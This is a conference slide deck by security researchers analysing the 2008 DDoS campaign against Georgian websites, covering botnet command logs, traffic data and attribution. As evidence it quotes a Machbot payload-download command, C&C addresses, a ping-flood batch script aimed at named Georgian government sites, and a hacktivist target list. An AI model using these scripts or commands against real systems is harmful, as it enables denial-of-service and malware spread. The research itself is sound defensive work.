An In-Depth Look at the Georgia-Russia Cyber Conflict of 2008

Jose Nazario
Arbor Networks

Andre M. DiMino,
Shadowserver Foundation
Who is the Shadowserver Foundation?

- All volunteer, non-profit, watchdog group of security professionals that gather, track, and report on malware, botnet and e-fraud activity.

- Mission: To improve the security of the Internet by raising awareness of the presence of compromised servers, malicious attackers, and the spread of malware.
Process Flow

- Capture
  - Honeypots
  - Spamtraps
- Analyze
  - Reverse Engineer
  - Sandbox
- Monitor
  - Netflow
  - IRC
  - Snoops
- Report
  - E-Mail
  - Web

BTF8: An In-Depth Look at the Georgia-Russia Cyber Conflict of 2008
## Shadowserver Generated Custom Reports

<table>
<thead>
<tr>
<th>Report Types</th>
<th>Recipients</th>
</tr>
</thead>
<tbody>
<tr>
<td>• DDoS</td>
<td>• ~40 CERTS</td>
</tr>
<tr>
<td>• C&amp;C List</td>
<td>• ~100 ASN owners</td>
</tr>
<tr>
<td>• Compromised Host</td>
<td>• Emerging Threats Snort</td>
</tr>
<tr>
<td>• Click-Through Fraud</td>
<td>• Public IRC Services</td>
</tr>
<tr>
<td>• Drones</td>
<td>• DNS Registrars</td>
</tr>
<tr>
<td>• Proxies</td>
<td>• Commercial Vendors</td>
</tr>
<tr>
<td>• URL Report</td>
<td>• Private mailing lists</td>
</tr>
<tr>
<td>• Filters</td>
<td>• International LEO’s</td>
</tr>
<tr>
<td></td>
<td>• US Federal LEO’s</td>
</tr>
<tr>
<td>• ASN</td>
<td>• International government</td>
</tr>
<tr>
<td>• CIDR</td>
<td>critical infrastructure</td>
</tr>
<tr>
<td>• Country Code</td>
<td>groups</td>
</tr>
</tbody>
</table>

 Filters:

• ASN
• CIDR
• Country Code
Tracking Internet Attacks

• Five vectors available for analysis
  1. End system data (e.g., syslog, packet traces, etc..)
  2. Middle box (e.g., firewalls, IDS, etc..) data path information
  3. Network telemetry data (e.g., flow-based transaction data, scrubbing systems, attack fingerprint sharing, syslog)
  4. Command and control infiltration
  5. IP substrate - routing system information (e.g., diversions, route hijacks, etc..)

• Focus and data availability for Arbor here items 3-5

Completely ignored: website defacements
See Project GreyGoose report for good overview
Tracking IP Substrate (Routing et al)

- AS, prefix, GeoIP, correlate
- BGPlay via RIPE and UO
  - Exact prefix only
  - Backend routeviews data key
- Need historical baselines for origin ASN and prefix
  - Can still obscure targeted or localized issues
• No routeviews needed if you’re in the IP routing or forwarding path
  – Arbor’s Peakflow provides our data
  – Coupled to routeviews data

• Colleagues at Renesys shared useful data on Georgia events via blog
  – 309 prefixes, 26 origin ASNs
  – Little notable - with exception of temporal instability in ~30% of prefixes on 8/15
  – Georgia has few IP transit availability options - prefers mostly TTnet (Turkey) or Azerbaijan's Delta Telecom (Russia)
Internet Traffic Deployment

- 67 long-term ISPs (now 78), Sep 06
  - 5 MSO, 4 Tier1, 15 Tier2, 4 Content, 1 R&E
  - Remainder not self-categorized

- 1,270 routers
  - 141,629 interfaces
  - > 1.8 Tbps of inter-domain traffic
Initial Attack - “The July Attack”

- Shadowserver observers first DDoS attack on July 18, 2008
- Multipronged attack against the website of Mikheil Saakashvili (www.president.gov.ge)
  - ICMP flood
  - TCP SYN flood
  - HTTP flood
- Website was completely down or extremely slow for several days
- Attacks were issued by Machbot controller that had over 15,000 bots
Raw Logs from Shadowserver Monitor

- ./2008-07-18_19:38:26_bizus-kokovs.cc_cmd.txt:DDOS 0 5999940000
  www.president.gov.ge / 1 win+love+in+Rusia 80 7

  www.president.gov.ge 7

  www.president.gov.ge 80 7

  www.president.gov.ge 80 7

- ./2008-07-18_20:08:25_bizus-kokovs.cc_cmd.txt:DDOS 0 5999940000
  www.president.gov.ge / 0 win+love+in+Rusia 80 7

- ./2008-07-18_20:08:25_bizus-kokovs.cc_cmd.txt:DDOS 0 5999940000
  www.president.gov.ge / 1 win+love+in+Rusia 80 7
Parsed Logs for Machbot Controller

- Jul 18 14:37:17 ddos_command=`flood tcp`, control_server=`bizus-kokovs.cc`, ddos_target=`www.president.gov.ge`
- Jul 18 14:37:19 ddos_command=`flood icmp`, control_server=`bizus-kokovs.cc`, ddos_target=`www.president.gov.ge`
- Jul 18 15:07:34 ddos_command=`flood http`, control_server=`bizus-kokovs.cc`, ddos_target=`www.president.gov.ge/`
“July Server”

- bizus-kokovs.cc - 207.10.234.244
  - PaeTec Communications from Endicott NY

- Registrant
  - company bred
  - simp bred (lilawhorn@yahoo.com)
  - kin street 45
  - newyourk
  - Moskovskaya oblast,220020
  - RU
  - Tel. +7.0000000

⚠️ download=`http://banks-money.com/load/file1.exe`
August 8, 2008 – CyberAttack Begins

- Aug 08 08:41:39  ddos_command=`flood http`, control_server=`194.67.33.81`, ddos_target=`news.ge`,

- Aug 08 08:41:39  ddos_command=`flood http`, control_server=`194.67.33.81`, ddos_target=`apsny.ge`,

- Aug 08 09:42:27  ddos_command=`flood http`, control_server=`google.com,ol.com,yahoo.com,about.com,net`, ddos_target=`www.president.gov.ge`,

- Aug 10 09:24:53  ddos_command=`flood http`, control_server=`google.com,ol.com,yahoo.com,about.com,net`, ddos_target=`www.parliament.ge`,
### DDoS Traffic on 8 Aug 2008

**Cyber attacks begin in earnest**

<table>
<thead>
<tr>
<th></th>
<th>Max BPS</th>
<th>Avg BPS</th>
<th>Max PPS</th>
<th>Avg PPS</th>
<th>SYN floods</th>
<th>RST floods</th>
<th>Observed targets</th>
<th>Reporting ISPs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Average duration</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2.1 Mpps</td>
<td>540 Kpps</td>
<td>18</td>
<td>3</td>
</tr>
<tr>
<td>Maximum duration</td>
<td>814 Mbps</td>
<td>211 Mbps</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### Attacks on Specific Victims

<table>
<thead>
<tr>
<th>Attacks</th>
<th>Victim</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>213.131.44.138</td>
</tr>
<tr>
<td>3</td>
<td>213.157.196.25</td>
</tr>
<tr>
<td>10</td>
<td>213.157.198.33</td>
</tr>
<tr>
<td>1</td>
<td><a href="http://www.gazeti.ge">www.gazeti.ge</a></td>
</tr>
</tbody>
</table>

Data based on traffic measurements from Arbor statistics monitoring.
C&C Activity (.ge & .ru)

- apsny.ge
- Caucasus.net
- hacking.ge
- news.ge
- osmp.ge
- www.president.gov.ge

C&C Activity Addresses:
- 58.65.237.49
- 79.135.167.22
- 83.229.186.70
- 190.183.60.83
- 194.67.33.81
- 203.131.211.244
- 207.10.234.244

- bizus-kokovs.cc
- turkeyonline.name
- ad.yandexshit.com
- supportonline.mcdir.ru

- Killgay.com, incasher.net, prosto.pizdos.net, vse.ohueli.net, a-nahui-vse-zaebalo-v-pizdu.com, googlecomaoalcomomyahooocomaboutcom.net

- os-inform.com
- newsgeorgia.ru
- mk.ru
Previous Targets by 194.67.33.81

- lux-club.ru
- uinshop.ru
- happy-tours.info
- go-na-elku.info
- lcoffee.ru
- vtime.ru
- sex18.in
- elitpresent.ru
- vip-timeclub.ru
- viptimeclub.ru
- meleon.info
- newelpmagazin.ru
- smsclips.net
- sonidom.ru
- e-shocker.ru
- meleonvip.info
- meleonstar.info
- vertusstock.ru
- uzax.com
- sviatogor-tour.ru
- lineinvest.ru
- interfilm.ru
Previous Targets by
ad.yandexshit.com

- secretdesires.ru
- august4u.ru
- pristavaki.com.ua
- therussiankings.com
- mixmag.ru
- dayudm.ru
- kommersant.ru
- besedki.ru
- slavhost.ru
- vipsex72.ru
- unlimited-hack.cn
- ceag.ru
- energoholding.ru
- v102.ru
- newstula.info
- neverlands.ru
- virtgirls.ru
- urbanwave.ru
- oborot.ru
- almomiz.com
- freezoo.ru
- assist.ru
Previous Targets by supportonline.mcdir.ru

- sharawara.com
- icqplanet.ru
- icqbass.ru
- probeg.info
- germanguns.de
- main.newhost.ru
- forum4dle.ru
Dual Attacks on GE, RU

Third party idea proposed by a Russian news site

Outside instigators?


Network connections:

- {ad.yandexshit.com, turkeyonline.name} = 79.135.167.22
- 9121 | 79.135.167.22 | TTNET TTnet Autonomous System
- 3216 | 194.67.33.81 | SOVAM-AS Golden Telecom, Moscow, Russia
RU, GE Targets (Command log)

GE targets are unique to this conflict
Attack Mechanism Begins to Change

- Most observed .ge targeted botnet attacks drop off ~August 12, although a few continue or periodically attack.
- DDoS attacks against key .ge sites continue.
- Flow data obtained for one .gov.ge target show heavy ICMP traffic.
- Most attacker IP addresses are from Russian Dial-up and broadband.
Grass Roots 'Hacktivism'? 

Several Russian forums, blogs, and websites have been distributing and encouraging the use of a Windows batch file.
@echo off
@echo Call this file (MSK) 18:00, 20:00
@echo Thanks for support of South Ossetia! Please, transfer this file to the friends!
pause
start ping -n 5000 -l 1000 www.newsgorgia.ru -t
start ping -n 5000 -l 1000 www.apsny.ge -t
start ping -n 5000 -l 1000 www.nckri.org -t
start ping -n 5000 -l 1000 www.opentext.org.ge -t
start ping -n 5000 -l 1000 www.messenger.com.ge -t
start ping -n 5000 -l 1000 www.president.gov.ge -t
start ping -n 5000 -l 1000 www.government.gov.ge -t
start ping -n 5000 -l 1000 www.parliament.ge -t
start ping -n 5000 -l 1000 nsc.gov.ge -t
start ping -n 5000 -l 1000 www.constcourt.gov.ge -t
start ping -n 5000 -l 1000 www.supremecourt.ge -t
start ping -n 5000 -l 1000 www.ccc.gov.ge -t
start ping -n 5000 -l 1000 www.nbg.gov.ge -t
start ping -n 5000 -l 1000 www.nplg.gov.ge -t
start ping -n 5000 -l 1000 www.police.ge -t
start ping -n 5000 -l 1000 www.mod.gov.ge -t
start ping -n 5000 -l 1000 www.mes.gov.ge -t
start ping -n 5000 -l 1000 www.mfa.gov.ge -t
start ping -n 5000 -l 1000 www.iberiapac.ge -t
start ping -n 5000 -l 1000 www.mof.ge -t
Наш ответ на агрессию со стороны Грузии

Мы - представители русского хакерского движения, призываем всех противостоять агрессии со стороны Грузии и призываем всех противостоять современным угрозам безопасности. Мы не приемлем агрессию со стороны Грузии и призываем всех противостоять современным угрозам безопасности.

Мы требуем защиты наших информационных и коммуникационных ресурсов Рунета, а также обращаемся ко всем СМИ и журналистам с просьбой объективно освещать происходящие события. До тех пор, пока ситуация не изменится, мы будем продолжать распространение важной информации на защиту наших информационных ресурсов.

Мы призываем к помощи всех, кому не безразлична ложь политических грузинских сайтов, всех, кто имеет возможность препятствовать распространению лживой информации.

StopGeorgia.ru

P.S. Существует одно официальное зеркало проекта - www.stopgeorgia.info. Все остальные ресурсы не имеют никакого отношения к движению StopGeorgia.ru.

ВНИМАНИЕ! "НЕМЕЦКИЙ ДАТА-ЦЕНТР NETDIREKT" www.netdirekt.de ОТКАЗАЛ В ХОСТИНГЕ ЗЕРКАЛА ПРОЕКТА! ЗЕРКАЛО WWW.STOPGEORGIA.INFO НА ДАННЫЙ МОМЕНТ НЕ СУЩЕСТВУЕТ!
Our response to aggression by Georgia

We - the representatives of Russian hako-underground, will not tolerate provocation by the Georgian in all its manifestations. We want to live in a free world and exist free from aggression and lies Setevom space. We do not need the guidance from the authorities or others, but act according to their convictions based on patriotism, conscience and belief in the virtue of justice. You can call us criminals and cyber-terrorists, razvyazyvaya with war and killing people. But we will fight and unacceptable aggression against Russia in Space Network.

We demand the cessation of attacks on information and government resources Runeta, as well as appeal to all media and journalists with a request to cover events objectively. Until the situation has changed, we will impede the dissemination of false information and in the western Georgian government and information resources. Do not we have launched an information war, we are not responsible for its consequences.

We call for the assistance of all who care about the lies of Georgian political sites, everyone who is able to inhibit the spread of black information.

StopGeorgia.ru

P.S. There is one formal mirror project - www.stopgeorgia.info. All other resources have nothing to do with the movement StopGeorgia.ru.

ATTENTION! GERMAN DATA CENTER "NETDIREKT" - WWW.NETDIREKT.DE OTKAZAL In HOSTINGE ZERKALU DRAFT! MIRROR WWW.STOPGEORGIA.INFO AT THIS MOMENT NOT THERE!
**Recommended attack targets**

<table>
<thead>
<tr>
<th>Website</th>
<th>Access in RF (yes/no)</th>
<th>Access in Latvia (yes/no)</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.parliament.ge">www.parliament.ge</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.assistant.georgia.org.ge">www.assistant.georgia.org.ge</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.cee.gov.ge">www.cee.gov.ge</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.mdg.org.ge">www.mdg.org.ge</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.mfa.gov.ge">www.mfa.gov.ge</a></td>
<td>+</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.corruption.ge">www.corruption.ge</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.constcourt.ge">www.constcourt.ge</a></td>
<td>+</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.insurance.caucasia.net">www.insurance.caucasia.net</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.mc.gov.ge">www.mc.gov.ge</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.rs.gov.ge">www.rs.gov.ge</a></td>
<td>-</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.supreme.gov.ge">www.supreme.gov.ge</a></td>
<td>+</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.ibraspa.ge">www.ibraspa.ge</a></td>
<td>+</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.courts.gov.ge">www.courts.gov.ge</a></td>
<td>+</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.chrl.ge">www.chrl.ge</a></td>
<td>+</td>
<td></td>
</tr>
<tr>
<td><a href="http://georgia.usembassy.gov/embassy">http://georgia.usembassy.gov/embassy</a></td>
<td>+</td>
<td></td>
</tr>
</tbody>
</table>

**Crisis in Georgia**

- **09.08.2008**: Subway explosion and information war with Russia
- **07.08.2008**: Russian military occupation of South Ossetia
- **10.08.2008**: Forum project frozen and work in the field stopped
- **13.08.2008**: Day of Georgia. The difference in the political ressources of Georgia
- **22.08.2008**: 22nd anniversary of the declaration of independence of Georgia

**War Georgia - Russia**

- **09.08.2008**: Russian military occupation of South Ossetia
- **10.08.2008**: Forum project frozen and work in the field stopped
- **13.08.2008**: Day of Georgia. The difference in the political ressources of Georgia
- **22.08.2008**: 22nd anniversary of the declaration of independence of Georgia
GE Routing Topology and Geography

- Cable systems typically piggyback on major roadways or pipelines. GE has finite options of network interconnection.
- Some new cable systems in works to connect Varna to Poti by Caucasus Online - will provide alternative paths via Bulgaria.
Georgia BGP Instability Data

- Based on Arbor routeviews data
  - Used Georgia-assigned prefixes to determine origin ASNs
  - Looked at updates from Aug 7-11, 2008

- BGP instability causes:
  - Infrastructure issues
  - Route flap due to dropped BGP session (i.e., link congestion)
  - Alterations

- Status: incomplete
  - Need to do more prefix-based analysis
BGP Changes at Onset of Hostilities

Routeviews data, distinct updates per prefix

Onset of war with Russia

8/7/08  8/9/08  8/11/08
BGP Updates in GE

- High amount of instability
  - War related?
  - Infrastructure or operations changes?
  - Some prefixes more than others

- CONJECTURE -- Route hijacking by RU providers
  - Suggested by some in the community
  - NO EVIDENCE TO SUPPORT THIS YET
Sophisticated RU sponsored attack ??

⚠ Many claims that the .ge attacking botnets were RU government controlled or sponsored

⚠ It is of our opinion however....
  - Attacking botnets that Shadowserver observed were involved in many other unrelated attacks
    - Fairly unsophisticated
    - “Botnet for Hire”
    - RU stirring up populist frenzy to support or encourage attacks
    - Herder == Hacktivist ?
### Similarities in Russian-tied DDoS Attacks

- **Former Soviet Bloc nations**
- **High population of ethnic Russians remaining**
  - Georgia
    - Ethnic groups (2002 census): Georgian 83.8%, Azeri 6.5%, Armenian 5.7%, **Russian** 1.5%, other 2.5%.
  - Estonia
    - Ethnic groups: Estonians 68.6%, **Russians** 25.6%, Ukrainians 2.1%, Belarusians 1.2%, Finns 0.8%, other 1.7%.
  - Ukraine
    - Ethnic groups: Ukrainians, **Russians**, Belarusians, Moldovans, Hungarians, Bulgarians, Jews, Poles, Crimean Tatars, and other groups.
  - Belarus
    - Ethnic groups (1999 census): Belarusian (81.2%), **Russian** (11.4%), Polish (3.9%), Ukrainian (2.4%), Jewish (0.3%), other (0.8%).

- **Exploring relationships with NATO**

*Data via US State Dept website*
RU-related Attack Trends

- DDoS
  - Botnets
    - Several distinct codebases
    - Growing number of independent botnets
    - C&Cs located in varied, widespread ASNs
      - Formerly UA, RU, TR, now US, TH, etc
  - Scripts
    - Remain basic, questionable effectiveness
    - Variants on the existing theme
  - “Cyber Warrior” websites
    - Load page, participate in attacks
RU-related Attack Trends (2)

- **Defacements**
  - Unsophisticated
  - SQL attacks, Joomla sites
  - Uploaded propaganda materials

- **Routing/BGP**
  - No evidence to support hijacking theory
Future Directions

• No end of diplomatic issues in region
  – Continue to be tied to regional issues

• DDoS trends
  – More botnet codebases
  – Better organized: technical, operational
  – More firepower
  – More coordination
  – More “cyber warrior” sites for the masses
Future Directions

• Targets
  – Visible government websites - DoS, defacement
  – Internet infrastructure
  – News sites - media control
Takeaways

- Becoming more clear DoS has become tool for political action - censorship, rioting, disruptions.
- Not clear if this is a military tool yet - all evidence we have points to non-state actors (who themselves are still scary)
- If individual actors can have such an impact when any diplomatic scuffle occurs then we’re in trouble
- Plausible deniability if government is involved
- Assigning blame is extremely difficult
• Traffic data can be used to measure the effectiveness of botnets, tools
• A lot more folks watched this, community stronger than even .ee attacks.
• A very cross-discipline approach required to understand (linguists, intel, gov)
• If strict DoS were intent, routing system manipulation may have been preferable - though more easily attributable